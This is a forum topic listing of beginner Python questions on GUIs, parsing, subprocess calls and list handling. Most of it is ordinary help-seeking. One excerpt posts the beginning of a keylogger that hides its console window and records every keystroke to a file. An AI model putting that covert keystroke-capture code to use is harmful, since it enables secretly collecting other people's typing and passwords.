15,190 Topics

Member Avatar for
Member Avatar for delucasvb

Hi, This is my first post here, since I am new to Python. I've been messing around a bit with it and I think I have the basics in my fingers now. I've run into a problem with the HTMLParser: I want to use it to collect the url's contained …

Member Avatar for d5e5
0
76
Member Avatar for shyami

Hello there, I am working on pylon frame work, when i am issuing return render('/test.mako'), it is displaying index out of renge error. Plz Reply to this post if u have any idea in this. Thanks ss

Member Avatar for TrustyTony
0
86
Member Avatar for lorna2010

Hi i need someone to help me at least to give me an idea of how start thos assigment, is my first time taking a python class and is so advance for 1 month. I have to create a board game connect 4 with this instructions: The rules are as …

Member Avatar for happy123
0
143
Member Avatar for justaguy101

Hi guys! I have a problem calling the numpy.random.hypergeometric function with certain values. It seems like if the values hit in some certain range the program stalls and never finishes. I get no errors or anything and also a wxpython GUI that i have calling this function crashes with no …

Member Avatar for justaguy101
0
552
Member Avatar for sabiut

Hi, i want to write a program that will automate my backup on a windows using python but i have no idea how to get started. can someone please point me to the right direction. thanks in advance

Member Avatar for snippsat
0
122
Member Avatar for alabandit

I need to monitor a number of folders over a period of time. so i pass the files in each folder to a list of list. [CODE] import os path_to_watch = [] path_to_watch.append("/path1/") path_to_watch.append("/path2/") path_to_watch.append("/path3/") before = [],[] for item, folder in enumerate(path_to_watch): print "i am here", item, " : …

Member Avatar for TrustyTony
0
244
Member Avatar for gorbulas

Is there any problem with manipulating very long strings? When I say long, I'm meaning like over 100,000 characters long. I'm using examplelongString = data.readline() to get it from an html file. I then use examplelongString .find('text to find') to search for stuff. I've been trying to do it, it …

Member Avatar for TrustyTony
0
6K
Member Avatar for ChargrO

Hello, im currently working on a program and im trying to create a cascade, This cascade code works by itself but i want to implement def hello and def toggle into def __init__(self, master=None), at the moment im getting and error "UnboundLocalError: local variable 'submenu' referenced before assignment" does anyone …

Member Avatar for TrustyTony
0
466
Member Avatar for jonb7

I am trying to show a diff in two files from a daily script. i am unable to get it to read the files correctly and show what is different. example of the files is - <ad_xml> <group name="group1"> </group> <group name="group2"> <user> <name>user1</name> </user> <user> <name>user2</name> </user> <user> <name>user3</name> …

Member Avatar for TrustyTony
0
1K
Member Avatar for afireinside

I had a question...Im using TKinter in python trying to build a GUI to run some command prompt scripts others have made. I am having some trouble though...pretty early on... I can open a file and get the file name, but I can not even pass the file name to …

Member Avatar for TrustyTony
0
272
Member Avatar for Kruptein

The SetValue() and GetValue() are to complicated, but it should work with WriteText()... although this always prints a newline if I press the space button...? [code=python] def OnKeyDown(self, event): insp=self.text_ctrl_1.GetInsertionPoint() words=self.text_ctrl_1.GetValue().split(" ") #get all the words hl=[["in","red"]] #syntax list All words=in should become red prev="" #previous words processed wordcount=0 for …

0
58
Member Avatar for jonb7

Hi , I am trying to show members of groups in Active Directory and then enter them into XML format but am having problems getting it to work. I am new to all this stuff but have to get this to work fairly quick. Can someone advise please. [CODE]""" Script …

Member Avatar for jonb7
0
261
Member Avatar for pythonNerd159

Hello all, just making a quick check to see if anyone can help me fix my code. I need to show the result in an entry screen... [CODE]# Tkinter class template to test apps try: # Python2 import Tkinter as tk except ImportError: # Python3 import tkinter as tk class …

Member Avatar for vegaseat
0
121
Member Avatar for shankhs

Hi frnds, I am a newbie to python ( I am learning it for 1 month now on win platform) .I came across these cool functions of python like os.path.isdir("\\\\blah\\") but since "blah" is password protected I am always getting false as return!!!! Can anyone please tell me how to …

0
63
Member Avatar for Domi

Is there any way to access a specific Window/Frame? [CODE]#!/usr/bin/python # communicate.py import wx class LeftPanel(wx.Panel): def __init__(self, parent, id): wx.Panel.__init__(self, parent, id, style=wx.BORDER_SUNKEN) self.count = 0 button1 = wx.Button(self, -1, "new frame", (-1, -1)) self.Bind(wx.EVT_BUTTON, self.OnNewFrame, id=button1.GetId()) def OnNewFrame(self,event): StockFrame(self,-1,'window %s' %self.count) self.count = self.count + 1 class StockFrame(wx.Frame): …

0
32
Member Avatar for lam-chop

I'm trying to figure out how to make a recursive maze solver, but I'm stuck at how to tell the maze to turn around and trace back its trail once it hits a dead end. Anyone able to help me?

Member Avatar for justaguy101
0
846
Member Avatar for Alq Veers

Hi guys, Im trying to bring up a new window then the Credits button located in the help menu is clicked. Im trying to run it as a command. So right now, that code doesnt work unless you comment out the creditsCommand region. So can anyone point me in the …

Member Avatar for Alq Veers
0
153
Member Avatar for spaghettios

Hi, I have written a short program that will scrape a given website for img src that have their attribute tag with id="marked". The program works, but I am not quiet sure which attributes to make private. Here is the code. [CODE]import urllib from BeautifulSoup import * class ImgScrape(object): def …

Member Avatar for ultimatebuster
0
76
Member Avatar for jozz3

I'm just playing around with basic GUI code. I have created two check boxes, and a text field below them. I want it to say, "I like Pizza", 'I like Pasta", "I like nothing", or "I like Pizza and Pasta" in the text field depending upon which checkboxes are ticked. …

Member Avatar for woooee
0
105
Member Avatar for tyuo9980

I have made a simple keylogger but there are some problems with it. [CODE]import win32api import win32console import win32gui import pythoncom, pyHook win = win32console.GetConsoleWindow() win32gui.ShowWindow(win,0) def OnKeyboardEvent(event): if event.Ascii==28: _exit(1) if event.Ascii != 0: f=open('C:\Users\Peter\Desktop\output.txt','r') buffer=f.read() f.close() f=open('C:\Users\Peter\Desktop\output.txt','w') keylogs=chr(event.Ascii) if event.Ascii==13: keylogs='/n/' if event.Ascii==32: keylogs='/s/' if event.Ascii==8: keylogs='/b/' if …

Member Avatar for tyuo9980
0
150
Member Avatar for cahram

Is it possible to search for a string in an array that is in a larger array? I have an array that contains arrays of either one, two, three, or four strings. for instance: myList[1] = ['dog', 'cat'] myList[2] = ['lizard', 'sheep', 'pig'] I want to search for 'sheep' Is …

Member Avatar for TrustyTony
0
200
Member Avatar for Robbert

Hi - I get the following "The program is still running! Do you want to kill it?" from the python IDE when I run the following splashscreen. Any ideas on how to fix it? [CODE]#!/usr/bin/python import wx class MyFrame(wx.Frame): def __init__(self, parent, id=wx.ID_ANY, title="", pos= wx.DefaultPosition, size=wx.DefaultSize, style=wx.DEFAULT_FRAME_STYLE|wx.SUNKEN_BORDER): wx.Frame.__init__(self, parent, …

Member Avatar for Robbert
0
2K
Member Avatar for nsutton

I use textwrangler for osx right now, but i want to see what other free ide's are out there. Is there one with tabs for classes and object to be separated?

Member Avatar for justaguy101
0
150
Member Avatar for richardtreier

Hi, i am currently using wx.xrc to create parts of my programs, but i got a little problem: [B]How can I add a platebutton(wx.lib.platebtn) to my xrc file?[/B]

0
51
Member Avatar for linuxoidoz

Hi, What's the easiest way to check whether an item is in a list and then get to that element and do something with it? So far I can think of [CODE] if x in List: for x in List: if x = y: do something [/CODE] Thank you.

Member Avatar for linuxoidoz
0
31K
Member Avatar for awn

Hi, I'm trying to get a python script to automatically start at boot up in xubuntu. The idea is for the python - tk-inter window to pop up just after boot up and start its routine. I have tried including the path in the application auto start, modifying bash commands, …

Member Avatar for awn
0
565
Member Avatar for valorien

Hi Everyone :-) I'm writing a small Python script that invokes the Linux shell and runs some BASH commands in it. My problem is, I can't seem to use the output and store it in a Python variable. Here's what i'm trying: [CODE] import subprocess value = subprocess.call("ls -la", shell=True) …

Member Avatar for d5e5
0
3K
Member Avatar for prashanth s j

Hi all, How to access the value of WER from the following: [code] valuesfor1 = [('WER', 100)] valuesfor2= [('WER', 700)] [/code] My requirement is I need to compare WER from valuesfor1 with WER from valuesfor2. ie something like [code] if [('WER', 100)] < [('WER', 700)] : print "values for 2 …

Member Avatar for TrustyTony
0
109
Member Avatar for Kruptein

Is there a way to catch the text a user types, then do some function on it and then return it to the screen? input(text) -> function(text) -> output(text) I want to colourize certain words, so I want the function to find those words and then colorize them..

Member Avatar for Kruptein
0
389
Member Avatar for bpinheiro0186

Hey folks, I am new on the forum and new to Python. I am making a news site and using python/django. My site will get all the news from the DB and fill up the template. As there is about 10 lines for the news and at some moment i …

Member Avatar for TrustyTony
0
120

The End.